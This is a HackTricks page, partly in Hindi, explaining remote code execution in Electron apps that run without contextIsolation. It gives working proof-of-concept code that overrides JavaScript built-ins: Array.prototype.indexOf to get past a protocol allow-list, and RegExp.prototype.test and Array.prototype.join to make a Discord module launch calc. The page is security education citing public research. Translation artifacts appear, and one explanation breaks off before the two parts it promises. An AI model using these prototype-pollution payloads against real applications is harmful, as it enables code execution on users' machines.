Electron contextIsolation RCE via preload code
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Example 1
Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
यह कोड http(s) लिंक को डिफ़ॉल्ट ब्राउज़र के साथ खोलता है:
कुछ ऐसा जैसे file:///C:/Windows/systemd32/calc.exe
का उपयोग करके एक कैलकुलेटर को निष्पादित किया जा सकता है, SAFE_PROTOCOLS.indexOf
इसे रोक रहा है।
इसलिए, एक हमलावर इस JS कोड को XSS या मनमाने पृष्ठ नेविगेशन के माध्यम से इंजेक्ट कर सकता है:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
चूंकि SAFE_PROTOCOLS.indexOf
का कॉल हमेशा 1337 लौटाएगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम एक्सप्लॉइट:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Check the original slides for other ways to execute programs without having a prompt asking for permissions.
Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar
Example 2: Discord App RCE
Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME')
, into the web page.
यहाँ, मैं RCE के लिए सीधे उपयोग किए जा सकने वाले मॉड्यूल, जैसे child_process मॉड्यूल का उपयोग नहीं कर सका, लेकिन मैंने एक कोड पाया जहाँ RCE को JavaScript के अंतर्निहित तरीकों को ओवरराइड करके और एक्सपोज़ किए गए मॉड्यूल के निष्पादन में हस्तक्षेप करके प्राप्त किया जा सकता है।
The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions
function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test
and Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions
फ़ंक्शन "execa" लाइब्रेरी का उपयोग करके प्रोग्राम को निष्पादित करने की कोशिश करता है, जैसे कि निम्नलिखित:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
आमतौर पर execa "nvidia-smi.exe" को निष्पादित करने की कोशिश करता है, जो nvidiaSmiPath
वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइड किए गए RegExp.prototype.test
और Array.prototype.join
के कारण, आर्गुमेंट को _execa** की आंतरिक प्रोसेसिंग में "**calc_" में बदल दिया जाता है।
विशेष रूप से, आर्गुमेंट को निम्नलिखित दो भागों को बदलकर प्रतिस्थापित किया जाता है।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।